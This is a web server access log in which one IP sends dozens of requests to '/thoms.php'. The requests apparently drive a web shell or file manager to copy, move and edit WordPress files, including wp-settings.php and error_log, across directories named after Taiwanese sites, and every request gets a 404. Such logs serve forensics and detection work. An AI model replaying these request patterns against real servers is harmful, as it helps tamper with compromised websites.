45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:30 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?edit=error_log&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?edit=error_log&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?edit=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
